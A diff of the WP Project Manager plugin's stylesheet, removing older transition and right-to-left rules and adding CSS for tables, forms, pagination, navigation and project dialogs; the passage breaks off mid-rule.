overflow-y: hidden; - height: 500px; -} -.slide-leave-active { - transition: all .3s cubic-bezier(1.0, 0.5, 0.8, 1.0); - height: 500px; - overflow-y: hidden; -} -.slide-leave-to{ - height: 0px; -} -.slide-enter{ - height: 0px; -} - -.pm-milestone .pm-milestone-form { - max-width: 600px; -} - -.pm .form-table td fieldset label{ - margin: 0.25em 0.5em 0.5em !important; -} - -.logo-preview{ - max-width: 75px; - max-height: 75px; - overflow: hidden; - margin-bottom: 10px !important; -} - -.logo-preview img{ - width: 100%; - height: auto; -} - -/* change background and spacing for each project sub pages */ -.pm-project-overview-container, -.pm-activities-container, -.pm-discussion-container, -.pm-milestone-container, -.pm-files-container-free, -.pm-files-container-pro, -.pm-gantt-wrap, -.pm-settings { - margin-top: 0 !important; - padding: 20px; - border: 1px solid #E5E4E4; - border-top: 0; - background: #FAFAFA; -} - - - - - - - - - - - - - - - - -/* RTL */ -/*body { - direction: rtl; - font-family:"IRANSans",Arial,sans-serif !important; -} -.pm-page-wrapper .pm-project-item .pm-project-item-body .pm-project-info .pm-project-meta-counters li { - float: right; -} -.pm-page-wrapper .pm-project-item .pm-project-item-body .pm-project-info .pm-project-meta-counters li:not(:last-child) { - margin: 0 0 10px 10px; -} -.pm-page-wrapper .pm-project-item .pm-project-item-body .pm-project-progress .pm-project-status { - right: 0; - left:unset; -} -.pm-pull-left { - float: right; -} -.pm-pull-right { - float: left; -} -.pm-page-wrapper .pm-view-style-container .pm-view-style-group { - margin-right: 15px !important; - margin-left:unset !important; -} -.pm .pm-filter-selection{ - margin-bottom: 0px; -} -.pm-page-wrapper .pm-header .pm-header-left h2 { - margin-left: 15px; - margin-right:unset !important; -} -.pm-has-dropdown .pm-dropdown-menu { - position: absolute; - right:unset !important; - left: 0; -} -.pm-page-wrapper .pm-overview-panel .pm-panel-header .pm-tab-item a i { - margin-right: unset !important; - margin-left: 7px; -} -.pm-kanboard .pm-pro-multiselect-wrap { - right:-60px; - left:unset !important; -} -.multiselect { - text-align:right; -} -.pm-kanboard .kanboard-menu-wrap .fullscreen-view-btn .icon-pm-fullscreen-text { - margin-right:8px; - margin-left: unset; -} -.pm-header-title-content .project-title .title { - margin-left:20px; - margin-right:unset; -} -.pm .project-overview .overview-menu ul li .count { - text-align: right !important; -} -.pm-header-title-content .settings.first { - border-top-right-radius:3px; - border-bottom-right-radius:3px; - border-top-left-radius: unset; - border-bottom-left-radius:unset; -} -.pm-header-title-content .settings.last { - border-top-left-radius: 3px; - border-bottom-left-radius:3px; - border-top-right-radius:unset; - border-bottom-right-radius:unset; -} -.pm .project-overview .pm-right-part .user_list li img { - float: right; - margin-left: 10px; - margin-right: unset !important; -} -.pm .pm-message-page .pm-message-list li img { - float: right !important; -} -.pm .pm-col-1 { - float: right !important; - margin-left: 10px; - margin-right: unset !important; -} -.pm .pm-col-2 { - float: right !important; - margin-left: 10px; - margin-right: unset !important; -} -.pm .pm-col-3 { - float: right !important; - margin-left: 10px; - margin-right: unset !important; -} -.pm .pm-col-4 { - float: right !important; - margin-left: 10px; - margin-right: unset !important; -} -.pm .pm-col-5 { - float: right !important; - margin-left: 10px; - margin-right: unset !important; -} -.pm .pm-col-6 { - float: right !important; - margin-left: 10px; - margin-right: unset !important; -} -.pm .pm-col-7 { - float: right !important; - margin-left: 10px; - margin-right: unset !important; -} -.pm .pm-col-8 { - float: right !important; - margin-left: 10px; - margin-right: unset !important; -} -.pm .pm-col-9 { - float: right !important; - margin-left: 10px; - margin-right: unset !important; -} -.pm .pm-col-10 { - float: right !important; - margin-left: 10px; - margin-right: unset !important; -} -.pm .pm-col-11 { - float: right !important; - margin-left: 10px; - margin-right: unset !important; -} -.pm .modal-header span.close-vue-modal { - left: 0; - right:unset !important; -} -.gantt_layout_cell_border_right { - border-left:1px solid #cecece; - border-right:unset !important; -} -.gantt_layout_cell_border_left { - border-right:1px solid #cecece; - border-left:unset !important; -} -.grunt-color-plate { - margin:0 0 8px 5px; - float:left; -} -.dashicons, .dashicons-before::before { - margin-top: 5px; -} -.pm-page-wrapper .pm-header .pm-form-has-addon .pm-submit-btn { - left: 0; - right:unset !important; -} -.pm-project-group .pm-user-select .user-switch { - margin-right:auto!important; - margin-left:unset!important; -} -.my-task-filter-wrap .form .field { - margin-right:unset !important; - margin-left:5px; -} -.pm .pm-project-header .pm-user-select img.option__image { - margin-right:unset !important; - margin-left:5px; -} -#wedevs-project-manager .pm-my-tasks .avatar { - margin-right:unset !important; - margin-left: 10px; -} -.mytask-current .current-task-table .sort-wrap { - left:25px; - right:unset !important; -} -.pm-task-form .input-area .input-action-wrap .task-create-form .fields .process-fields .process-field { - margin-left:16px; - margin-right:unset !important; -} -.pm-task-form .input-area .input-action-wrap .task-create-form .fields .process-fields .task-users .user-images .image { - margin-right:5px; - margin-left:unset !important; -} -.project-select-area .form-content-wrap .drop-down-wrap .projects-drop-down, -.project-select-area .form-content-wrap .drop-down-wrap .users-drop-down { - width:250px; - min-height:auto; - margin-left:8px; - margin-right:unset !important; -} -.ui-dialog .ui-dialog-title { - float: right; -} -.ui-dialog .ui-dialog-titlebar-close { - left: .3em; - right:unset !important; - font-family: "IRANSans",Arial,sans-serif !important; -} -.ui-widget input, -.ui-widget select, -.ui-widget textarea, -.ui-widget button { - font-family: "IRANSans",Arial,sans-serif !important; -} -.pm-task-list-wrap .list-content-body .content .list-action-btn-wrap .new-list-btn .plus { - margin-left:5px; - margin-right:unset !important; -} -.pm-task-list-wrap .list-content-body .content .list-action-btn-wrap .new-list-btn a { - width:max-content; -} -.pm-project-menu .menu-item a .logo { - margin-left:5px - margin-right:unset !important; -} -.pm .table th, -.pm .table td { - text-align: right !important; -} -.pm-table th, -.pm-table td { - text-align: right; -} -.pm-invoice .pm-invoice-wrap .pm-invoice-total-box table.pm-invoice-totals th { - text-align: right; - padding: 5px 25px 10px 5px; -} -.pm-pro-archive-anchor .archive { - margin-right: 5px; - margin-left:unset !important; -} -.pm-task-list-wrap .list-content-body .content .list-action-btn-wrap .task-filter .icon-pm-filter { - margin-left: 5px; - margin-right:unset !important; -} -.pm-task-list-wrap .list-content-body .content .list-items .list-content .list-item-content .after-title .list-title-action { - margin-right: 12px; - margin-left:unset !important; -} -.pm-task-list-wrap .list-content-body .content .list-items .list-content .list-title-anchor { - margin-left: 40px; - margin-right:unset !important; -} -.pm-list-header-menu .task-filter .icon-pm-filter { - margin-left: 5px; - margin-right:unset !important; -} -.pm-kanboard .fullscreen-view-btn { - margin-left:10px; - margin-left:unset !important; -} -.pm-list-header-menu { - float: left; -} - -@media only screen and (min-width: 768px) { - .project-list-view .pm-project-item-header .pm-project-settings { - right:unset !important; - left: 15px; - } -}*/ - - +.clearfix { + *zoom: 1; +} +.clearfix:before, +.clearfix:after { + display: table; + content: ""; + line-height: 0; +} +.clearfix:after { + clear: both; +} +.hide-text { + font: 0/0 a; + color: transparent; + text-shadow: none; + background-color: transparent; + border: 0; +} +.input-block-level { + display: block; + width: 100%; + min-height: 30px; + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +/** +* Stylesheet for WP Projetc Manager +* +* +**/ +/** Old Admin stylesheet **/ +/*-------------------------------------------------- +:: Variables +-------------------------------------------------- */ +.pm-clearfix:after { + visibility: hidden; + display: block; + font-size: 0; + content: " "; + clear: both; + height: 0; +} +.pm-clearfix { + display: inline-block; +} +/* start commented backslash hack \*/ +.pm-clearfix { + height: 1%; + visibility: hidden; + display: block; + font-size: 0; + content: " "; + clear: both; +} +.pm-clearfix { + display: block; +} +.pm { + font-size: 14px; + line-height: 21px; + vertical-align: baseline; +} +.pm-spinner { + background: url("../images/loading.gif") no-repeat scroll 0 0 rgba(0, 0, 0, 0); + height: 16px; + display: inline-block; + width: 16px; +} +.pm .pm-data-load-before { + width: 100%; + text-align: center; +} +.pm .pm-data-load-before .loadmoreanimation { + display: block; +} +.pm .pm-box-title { + margin: 0; + font-size: 14px; + line-height: 1.4; + padding: 10px 15px; + border-bottom: 1px solid #eee; +} +.pm .pm-box-title .pm-small-title { + font-size: 13px; + font-weight: normal; + color: #999999; + margin-top: 10px; +} +.pm .pm-lock { + background: url('../images/lock.png') no-repeat scroll rgba(0, 0, 0, 0); + height: 16px; + width: 16px; + display: inline-block; +} +.pm a { + text-decoration: none; + box-shadow: none; +} +.pm a:link { + text-decoration: none; + box-shadow: none; +} +a:focus { + outline: thin dotted #333; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; + text-decoration: none; + box-shadow: none; +} + +a:hover, +a:active { + outline: 0; + text-decoration: none; +} +.pm input[type=text]:-moz-placeholder, +.pm textarea:-moz-placeholder { + color: #999; +} +.pm input[type=text]:-ms-input-placeholder, +.pm textarea:-ms-input-placeholder { + color: #999; +} +.pm input[type=text]::-webkit-input-placeholder, +.pm textarea::-webkit-input-placeholder { + color: #999; +} +.pm h2 .nav-tab { + //font-size: 18px; + line-height: 20px; +} +.pm .nav-tab.nav-tab-active { + color: #000; +} +.pm button, +.pm input, +.pm select, +.pm textarea { + margin: 0; + font-size: 100%; + vertical-align: middle; +} + +.pm button, +.pm input { + *overflow: visible; + line-height: normal; +} + +.pm button::-moz-focus-inner, +.pm input::-moz-focus-inner { + padding: 0; + border: 0; +} + +.pm button, +.pm html input[type="button"], +.pm input[type="reset"], +.pm input[type="submit"] { + cursor: pointer; + -webkit-appearance: button; +} + +.pm label, +.pm select, +.pm button, +.pm input[type="button"], +.pm input[type="reset"], +.pm input[type="submit"], +.pm input[type="radio"], +.pm input[type="checkbox"] { + cursor: pointer; +} + +.pm input[type="search"] { + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; + -webkit-appearance: textfield; +} + +.pm input[type="search"]::-webkit-search-decoration, +.pm input[type="search"]::-webkit-search-cancel-button { + -webkit-appearance: none; +} + + +.pm textarea, +.pm input[type=text] { + overflow: auto; + vertical-align: top; + padding: 5px 10px; + border: 1px solid #DDD; + font-size: 13px; + -webkit-box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.05); + -moz-box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.05); + box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.05); +} +.pm textarea:focus, +.pm input[type=text]:focus { + -webkit-box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.15); + -moz-box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.15); + box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.15); + border: 1px solid #DDD; +} +.pm select, +.pm textarea, +.pm input[type="text"], +.pm input[type="password"], +.pm input[type="datetime"], +.pm input[type="datetime-local"], +.pm input[type="date"], +.pm input[type="month"], +.pm input[type="time"], +.pm input[type="week"], +.pm input[type="number"], +.pm input[type="email"], +.pm input[type="url"], +.pm input[type="search"], +.pm input[type="tel"], +.pm input[type="color"], +.pm .uneditable-input { + display: inline-block; + height: 30px; + padding: 3px 8px; + margin-bottom: 0 0 10px; + font-size: 12px; + line-height: 100%; + color: #555555; + vertical-align: middle; + border: 1px solid #DDDDDD; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + -webkit-transition: border linear 0.2s, box-shadow linear 0.2s; + -moz-transition: border linear 0.2s, box-shadow linear 0.2s; + -o-transition: border linear 0.2s, box-shadow linear 0.2s; + transition: border linear 0.2s, box-shadow linear 0.2s; +} +.pm textarea { + height: 80px; +} +/*.pm input[type="radio"], +.pm input[type="checkbox"] { + margin: 4px 0 0; + margin-top: 1px \9; + *margin-top: 0; + line-height: normal; +} + +.pm input[type="checkbox"] { + margin: -1px 0 0; + margin-top: 1px \9; + *margin-top: 0; + line-height: normal; +}*/ +.pm ul { + list-style: none; +} +.pm ul.order-statuses-filter { + font-size: 14px; + color: #dfdfdf; + list-style: none; + margin: 0; + display: inline-block; +} +.pm ul.order-statuses-filter li { + display: inline-block; + line-height: 13px; + padding: 0 5px; + border-right: 1px solid #dfdfdf; + margin: 0; +} +.pm ul.order-statuses-filter li:last-child { + border-right: none; +} +.pm ul.order-statuses-filter li.active a { + color: #999; +} +.pm .tablenav { + display: block; + padding: 10px 0px; + height: auto; +} +.pm .tablenav .tablenav-pages { + float: none !important; + margin-left: 0; +} +.pm .tablenav .tablenav-pages a { + padding: 4px 10px; + font-size: 13px; +} +.pm .tablenav .tablenav-pages span.current { + padding: 3px 10px; + font-size: 13px; + border: 1px solid #E4E4E4; +} +.pm .pm-pagination-wrap { + margin-top: 10px; + margin-bottom: 10px; + overflow: hidden; + width: 100%; + position: relative; +} +.pm .pm-pagination-wrap a { + box-shadow: none; +} +.pm .pm-pagination-wrap a:hover { + box-shadow: none; +} +.pm .pm-pagination-wrap .pm-pagination-btn { + border: 1px solid #ddd; + padding: 5px 12px; + margin-left: 2px; + font-size: 12px; + background: #fff; + color: #000; + display: inline-block; + line-height: 1.5; + border-radius: 3px; +} +.pm .pm-pagination-wrap .pm-pagination-btn:first-child{ + margin-left: 0px; +} +.pm .pm-pagination-wrap .current { + background: #027eb3; + border-color: #ddd; + color: #fff; +} +.pm .pm-pagination-wrap .pm-pagination-btn:hover { + background: #027eb3; + border-color: #d6d6d6; + color: #fff; +} +.pm .pm-list-header-new-todo-btn { + float: left; +} +/*.pm .pm-list-header-menu { + float: right; +} +.pm .pm-lists-view { + float: right; + margin: 0; +} +.pm .pm-lists-view a { + box-shadow: none; +} +.pm .pm-lists-view a:hover { + box-shadow: none; +} +.pm .pm-lists-view .pm-lists-view-li:first-child { + border-left: 1px solid #ddd; +} +.pm .pm-lists-view .pm-lists-view-li { + float: left; + background: #fff; + border-right: 1px solid #ddd; + border-top: 1px solid #ddd; + border-bottom: 1px solid #ddd; +} +.pm .pm-lists-view .pm-lists-view-li .to-do-list:hover { + background-image: url('../images/list-menu-hover.svg'); +} +.pm .pm-lists-view .pm-lists-view-li .to-do-list { + background-image: url('../images/list-menu.svg'); +} +.pm .pm-lists-view .pm-lists-view-li .background-position { + padding: 0px 0px 0px 35px; + background-size: 16px 16px; + background-position: 50%; + background-repeat: no-repeat; +}*/ +.pm-left { + float: left; +} +.pm-spacer { + width: 10px; +} +.pm-right { + float: right; +} +.pm-clear { + clear: both; +} +.pm-strikethrough { + text-decoration: line-through; +} +.pm-updated { + margin: 5px 0 15px; + background-color: #FFFFE0; + border: 1px solid #E6DB55; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + padding: 0 10px; +} +.pm-box-shadow { + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: 1px solid #e5e5e5; + background-color: #fff; +} +span.required { + color: #cd0a0a; +} +ul.pm-inline-ul { + margin: 0; + padding: 0; +} +ul.pm-inline-ul li { + display: inline-block; +} +.pm-hide { + display: none; +} +.pm-loading:after { + background: url('../images/loading.gif') no-repeat; + height: 16px; + width: 16px; + margin: 0 0 0 10px; + display: inline-block; + content: ""; + position: absolute; +} +.ui-autocomplete .no-user-wrap { + padding: 0 0 20px 0; + text-align: center; +} +/*-------------------------------------------------- +:: Table +-------------------------------------------------- */ +.pm table { + max-width: 100%; + border-collapse: collapse; + border-spacing: 0; +} + +.pm .table { + width: 100%; + margin-bottom: 20px; +} + +.pm .table th, +.pm .table td { + padding: 8px; + line-height: 20px; + text-align: left; + vertical-align: top; + border-top: 1px solid #dddddd; +} + +.pm .table th { + font-weight: bold; +} + +.pm .table thead th { + vertical-align: bottom; +} + +.pm .table caption + thead tr:first-child th, +.pm .table caption + thead tr:first-child td, +.pm .table colgroup + thead tr:first-child th, +.pm .table colgroup + thead tr:first-child td, +.pm .table thead:first-child tr:first-child th, +.pm .table thead:first-child tr:first-child td { + border-top: 0; +} + +.pm .table tbody + tbody { + border-top: 2px solid #dddddd; +} + +.pm .table .table { + background-color: #ffffff; +} + +.pm .table-condensed th, +.pm .table-condensed td { + padding: 4px 5px; +} + +.pm .table-bordered { + border: 1px solid #dddddd; + border-collapse: separate; + *border-collapse: collapse; + + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; +} + +.pm .table-bordered th, +.pm .table-bordered td { + border-left: 1px solid #dddddd; +} + +.pm .table-bordered caption + thead tr:first-child th, +.pm .table-bordered caption + tbody tr:first-child th, +.pm .table-bordered caption + tbody tr:first-child td, +.pm .table-bordered colgroup + thead tr:first-child th, +.pm .table-bordered colgroup + tbody tr:first-child th, +.pm .table-bordered colgroup + tbody tr:first-child td, +.pm .table-bordered thead:first-child tr:first-child th, +.pm .table-bordered tbody:first-child tr:first-child th, +.pm .table-bordered tbody:first-child tr:first-child td { + border-top: 0; +} + +.pm .table-bordered thead:first-child tr:first-child > th:first-child, +.pm .table-bordered tbody:first-child tr:first-child > td:first-child, +.pm .table-bordered tbody:first-child tr:first-child > th:first-child { + -webkit-border-top-left-radius: 4px; + border-top-left-radius: 4px; + -moz-border-radius-topleft: 4px; +} + +.pm .table-bordered thead:first-child tr:first-child > th:last-child, +.pm .table-bordered tbody:first-child tr:first-child > td:last-child, +.pm .table-bordered tbody:first-child tr:first-child > th:last-child { + -webkit-border-top-right-radius: 4px; + border-top-right-radius: 4px; + -moz-border-radius-topright: 4px; +} + +.pm .table-bordered thead:last-child tr:last-child > th:first-child, +.pm .table-bordered tbody:last-child tr:last-child > td:first-child, +.pm .table-bordered tbody:last-child tr:last-child > th:first-child, +.pm .table-bordered tfoot:last-child tr:last-child > td:first-child, +.pm .table-bordered tfoot:last-child tr:last-child > th:first-child { + -webkit-border-bottom-left-radius: 4px; + border-bottom-left-radius: 4px; + -moz-border-radius-bottomleft: 4px; +} + +.pm .table-bordered thead:last-child tr:last-child > th:last-child, +.pm .table-bordered tbody:last-child tr:last-child > td:last-child, +.pm .table-bordered tbody:last-child tr:last-child > th:last-child, +.pm .table-bordered tfoot:last-child tr:last-child > td:last-child, +.pm .table-bordered tfoot:last-child tr:last-child > th:last-child { + -webkit-border-bottom-right-radius: 4px; + border-bottom-right-radius: 4px; + -moz-border-radius-bottomright: 4px; +} + +.pm .table-bordered tfoot + tbody:last-child tr:last-child td:first-child { + -webkit-border-bottom-left-radius: 0; + border-bottom-left-radius: 0; + -moz-border-radius-bottomleft: 0; +} + +.pm .table-bordered tfoot + tbody:last-child tr:last-child td:last-child { + -webkit-border-bottom-right-radius: 0; + border-bottom-right-radius: 0; + -moz-border-radius-bottomright: 0; +} + +.pm .table-bordered caption + thead tr:first-child th:first-child, +.pm .table-bordered caption + tbody tr:first-child td:first-child, +.pm .table-bordered colgroup + thead tr:first-child th:first-child, +.pm .table-bordered colgroup + tbody tr:first-child td:first-child { + -webkit-border-top-left-radius: 4px; + border-top-left-radius: 4px; + -moz-border-radius-topleft: 4px; +} + +.pm .table-bordered caption + thead tr:first-child th:last-child, +.pm .table-bordered caption + tbody tr:first-child td:last-child, +.pm .table-bordered colgroup + thead tr:first-child th:last-child, +.pm .table-bordered colgroup + tbody tr:first-child td:last-child { + -webkit-border-top-right-radius: 4px; + border-top-right-radius: 4px; + -moz-border-radius-topright: 4px; +} + +.pm .table-striped tbody > tr:nth-child(odd) > td, +.pm .table-striped tbody > tr:nth-child(odd) > th { + background-color: #f9f9f9; +} + +.pm .table-hover tbody tr:hover > td, +.pm .table-hover tbody tr:hover > th { + background-color: #f5f5f5; +} +.pm .table tbody tr.success > td { + background-color: #dff0d8; +} + +.pm .table tbody tr.error > td { + background-color: #f2dede; +} + +.pm .table tbody tr.warning > td { + background-color: #fcf8e3; +} + +.pm .table tbody tr.info > td { + background-color: #d9edf7; +} + +.pm .table-hover tbody tr.success:hover > td { + background-color: #d0e9c6; +} + +.pm .table-hover tbody tr.error:hover > td { + background-color: #ebcccc; +} + +.pm .table-hover tbody tr.warning:hover > td { + background-color: #faf2cc; +} + +.pm .table-hover tbody tr.info:hover > td { + background-color: #c4e3f3; +} +.pm .pm-table thead, +.pm .pm-table tfoot { + background-color: #fff; +} +ul.pm-attachments { + margin: 0 10px; + padding-top: 10px; +} +ul.pm-attachments li { + display: inline-block; + border: solid 1px #eee; + padding: 5px; + margin: 0 15px 15px 0; +} +/*-------------------------------------------------- +:: Form +-------------------------------------------------- */ +.pm-form { + width: 100%; +} +.pm-form .item { + margin: 10px 10px 10px 0; + position: relative; +} +.pm-form .item input[type="text"], +.pm-form .item select, +.pm-form .item textarea { + width: 100%; + height: 28px; + padding: 3px 8px; + font-size: 12px; + line-height: 100%; + box-shadow: none; + border: 1px solid #ddd; + background: #fff; +} +.pm-form .item textarea { + height: 84px; +} +.pm-form .submit { + padding: 0; +} +.pm-form .form-table { + width: 70%; +} +.pm-form .form-table .form-field { + max-width: 100%; +} +.pm-form .description { + display: block; +} +.pm-form .form-field input[type=radio], +.pm-form .form-field input[type=checkbox] { + width: auto; +} +.pm-project-form { + max-width: 500px; +} +.pm-project-form textarea { + height: auto; +} +/*-------------------------------------------------- +:: Navigation +-------------------------------------------------- */ +ul.pm-nav { + list-style: none; + float: right; + background: #298CBA; + padding: 3px; + margin: 0; +} +ul.pm-nav li { + display: inline-block; + margin: 0; + padding: 3px 10px; + background: #fff; +} +ul.pm-nav li.active { + background: #298CBA; +} +ul.pm-nav li.active a { + color: #fff; + font-weight: bold; +} +ul.pm-nav li a { + text-decoration: none; +} +.pm-nav-title { + background: #FFFFFF; + border: 1px solid #CCCCCC; + -webkit-border-radius: 0 0 5px 5px; + -moz-border-radius: 0 0 5px 5px; + border-radius: 0 0 5px 5px; + border-top: none; + color: #898989; + font-size: 13px; + font-weight: bold; + padding: 5px 20px; + margin: 0 0 10px 0; + position: relative; +} +.pm-nav-title .add-new-h2 { + top: 0; +} +.pm-nav-title [class*="pm-settings-icon-"] { + display: inline-block; + width: 16px; + height: 16px; + background-image: url("images/sprites.svg"); + background-repeat: no-repeat; +} +.pm-nav-title .pm-settings-icon-cog { + cursor: pointer; + background-position: 0 0; + width: 16px; +} +.pm-nav-title [class*="pm-icons-"] { + display: inline-block; + width: 16px; + height: 16px; + background-image: url('images/sprites3.svg'); + background-repeat: no-repeat; + bottom: 0; + right: 0; +} +.pm-nav-title .pm-icons-cross { + background-position: 0 0; + width: 16px; +} +.pm-nav-title .pm-icons-checkmark { + background-position: -24px 0; + width: 16px; +} +.pm-nav-title .pm-icons-docs { + background-position: -48px 0; + width: 16px; +} +.pm-nav-title ul.pm-settings { + background: none repeat scroll 0 0 #000000; + box-shadow: 0 0 3px 1px #9A9A9A; + display: none; + position: absolute; + right: -1px; + top: 11px; + width: 92px; +} +.pm-nav-title ul.pm-settings li:not(:last-child) { + border-bottom: 1px solid #262626; +} +.pm-nav-title ul.pm-settings li { + padding: 1px 1px 1px 5px; +} +.pm-nav-title ul.pm-settings a { + color: #fff; + font-size: 12px; +} +.pm-nav-title ul.pm-settings:after { + bottom: 100%; + left: 50%; + border: solid transparent; + content: " "; + height: 0; + width: 0; + position: absolute; + pointer-events: none; + border-color: rgba(0, 0, 0, 0); + border-bottom-color: #000000; + border-width: 8px; + margin-left: 27px; +} +/*-------------------------------------------------- +:: Project +-------------------------------------------------- */ +.pm-ui-dialog { + font-size: 13px; + border: none !important; + -webkit-box-shadow: 0 0 6px rgba(0, 0, 0, 0.3); + -moz-box-shadow: 0 0 6px rgba(0, 0, 0, 0.3); + box-shadow: 0 0 6px rgba(0, 0, 0, 0.3); + padding: 10px 15px 10px 15px !important; + z-index: 9999; + left: 35% !important; + top: 18% !important; +} +.pm-ui-dialog .pm-form-item input, +.pm-ui-dialog .pm-form-item textarea, +.pm-ui-dialog .pm-form-item select { + width: 100%; + max-width: none; + color: #9e9e9e; +} +.pm-ui-dialog .pm-form-item select { + background: transparent; +} +.pm-ui-dialog .pm-form-item input[type="checkbox"], +.pm-ui-dialog .pm-form-item input[type="radio"] { + width: auto; +} +.pm-ui-dialog .ui-dialog-titlebar { + border: none !important; +} +.pm-ui-dialog .ui-widget-header { + background: #fff; + border: none; + font-size: 16px; +} +.pm-ui-dialog .ui-resizable-handle { + display: none !important; +} +.pm-ui-dialog .pm-project-form { + font-size: 12px; +} +.pm-ui-dialog .pm-project-form .pm-spinner { + background: url("../images/loading.gif") no-repeat scroll center rgba(0, 0, 0, 0); + visibility: visible; +} +.pm-ui-dialog .pm-project-form .chosen-container { + max-width: 300px !important; +} +.pm-ui-dialog .pm-project-form a.pm-assign-del-user { + cursor: pointer; +} +.pm-ui-dialog .pm-project-form a.pm-assign-del-user span.title { + text-indent: -9999px; + display: inline-block; +} + +.pm-ui-dialog .pm-project-form input[type=text]:-moz-placeholder, +.pm-ui-dialog .pm-project-form textarea:-moz-placeholder, +.pm-ui-dialog .pm-project-form select:-moz-placeholder { + color: #999; +} +.pm-ui-dialog .pm-project-form input[type=text]:-ms-input-placeholder, +.pm-ui-dialog .pm-project-form textarea:-ms-input-placeholder, +.pm-ui-dialog .pm-project-form select:-ms-input-placeholder { + color: #999; +} +.pm-ui-dialog .pm-project-form input[type=text]::-webkit-input-placeholder, +.pm-ui-dialog .pm-project-form textarea::-webkit-input-placeholder, +.pm-ui-dialog .pm-project-form select::-webkit-input-placeholder { + color: #999; +} +.pm-ui-dialog .pm-project-form .pm-project-role select { + padding: 0px !important; +} +.pm-ui-dialog .pm-project-form .pm-form-item { + margin-bottom: 15px; +} +.pm-ui-dialog .pm-project-form .submit { + margin: 0; + padding: 0; +} +.pm-ui-dialog .pm-project-form #project_category_chzn { + width: 76% !important; +} +.pm-ui-dialog .pm-project-form .chzn-drop { + width: 345px !important; +} +.pm-ui-dialog .pm-project-form .chzn-search input { + width: 329px !important; + border: 1px solid #B3B3B3 !important; +} +.pm-user-ui-dialog { + left: 39% !important; + top: 29% !important; + z-index: 99999; +} +.pm-project-head { + display: block; + margin-bottom: 15px; +} +.pm-project-head h2 { + font-size: 15px; + font-weight: bold; +} +.pm-project-head h2 a.pm-project-edit-link { + display: inline-block; + background: #DDD; + padding: 0 10px 0 2px; + margin-left: 10px; + line-height: 20px; + border-radius: 2px; +} +.pm-project-head h2 a.pm-project-edit-link .dashicons { + margin-top: 2px; + font-size: 18px; + width: 18px; + height: 18px; +} +.pm-project-head h2 a.pm-project-edit-link .text { + font-size: 12px; + margin: 0; + padding: 0; + font-weight: normal; +} +.pm-project-head h2 .pm-project-summary { + border-left: 1px dashed #E1E1E1; + font-family: "helvetica neue", helvetica, arial, sans-serif; + font-size: 13px; + font-weight: normal; + line-height: 15px; + padding-left: 10px; + margin-left: 10px; + width: 300px; +} +.pm-project-head h2 .pm-project-summary span { + display: block; + font-size: 15px; + font-weight: bold; + line-height: 29px; + padding-bottom: 8px; +} +.pm-project-head .pm-edit-project .pm-project-form .project-category { + margin-bottom: 15px; +} +.pm-project-head .pm-edit-project .pm-project-form .pm-spinner { + background: url("../images/loading.gif") no-repeat scroll center rgba(0, 0, 0, 0); + visibility: visible; +} +.pm-project-head .pm-edit-project a.pm-assign-del-user { + cursor: pointer; +} +.pm-project-head .pm-edit-project a.pm-assign-del-user span.title { + text-indent: -9999px; + display: inline-block; +} +.pm-project-head .pm-edit-project a.pm-assign-del-user .dashicons { + margin-left: 10px; + color: #9C3232; +} +.pm-project-head .pm-edit-project .pm-project-role { + margin-bottom: 10px; +} +.pm-project-head .pm-edit-project .pm-pro-update-spinner { + background: url("../images/loading.gif") no-repeat scroll 0 0 rgba(0, 0, 0, 0); + display: none; + height: 16px; + left: -18px; + margin-top: 5px; + position: absolute; + width: 16px; +} +.pm-project-head .detail { + font-size: 13px; + width: 80%; +} +.pm-project-head p { + margin: 0 0 5px 0; +} +.pm-project-head .pm-edit-project { + padding: 10px; + position: relative; +} +ul.pm-activity { + font-size: 13px; +} +ul.pm-activity .date { + font-style: italic; + color: #9C9C9C; + font-size: 11px; +} +ul.pm-activity .pm-activity-heads { + font-size: 14px; + font-weight: bold; + margin: 0 0 5px 0; + padding: 0 0 5px 0; + border-bottom: 1px solid #eee; + color: #777; +} +ul.pm-activity ul { + margin-left: 15px; + margin-bottom: 10px; +} +ul.pm-activity ul li { + text-indent: 5px; +} +ul.pm-activity ul li:before { + content: "-"; + position: relative; + left: -5px; +} +.pm-projects { + margin-top: 10px; + margin-left: 130px; + padding: 5px 0 0 5px; + display: block; + position: relative; +} +.pm-projects.pm-no-nav { + margin-left: 0; +} +.pm-projects:after, +.pm-projects:before { + clear: both; + content: ""; + display: table; +} +.pm-projects .pm-project-filter { + *zoom: 1; + margin-bottom: 10px; +} +.pm-projects .pm-project-filter:before, +.pm-projects .pm-project-filter:after { + display: table; + content: ""; + line-height: 0; +} +.pm-projects .pm-project-filter:after { + clear: both; +} +.pm-projects .pm-project-filter .order-statuses-filter { + margin: 5px 10px 0 0; + float: left; +} +.pm-projects .pm-project-filter .pm-project-filters { + float: left; +} +.pm-projects nav.pm-new-project { + left: -130px; + position: absolute; +} +.pm-projects nav.pm-new-project a { + background: url('../images/plus.png') no-repeat 50% 50%; + -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.3); + -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.3); + box-shadow: 0 0 3px rgba(0, 0, 0, 0.3); + height: 80px; + width: 80px; + display: block; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} +.pm-projects nav.pm-new-project a span { + bottom: -28px; + color: #333333; + font-size: 13px; + position: absolute; + text-align: center; + width: 80px; +} +.pm-projects .pm-project { + background: #fff; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: 1px solid #e5e5e5; + width: 210px; + height: 235px; + position: relative; + margin: 0 20px 20px 0; + padding: 15px; + float: left; +} +.pm-projects .pm-project .slimScrollBar { + z-index: 0 !important; +} +.pm-projects .pm-project h5 { + font-size: 16px; + margin: 0; + word-wrap: break-word; + color: #000; +} +.pm-completed-wrap { + width: 86px; + height: 80px; + overflow: hidden; + position: absolute; + 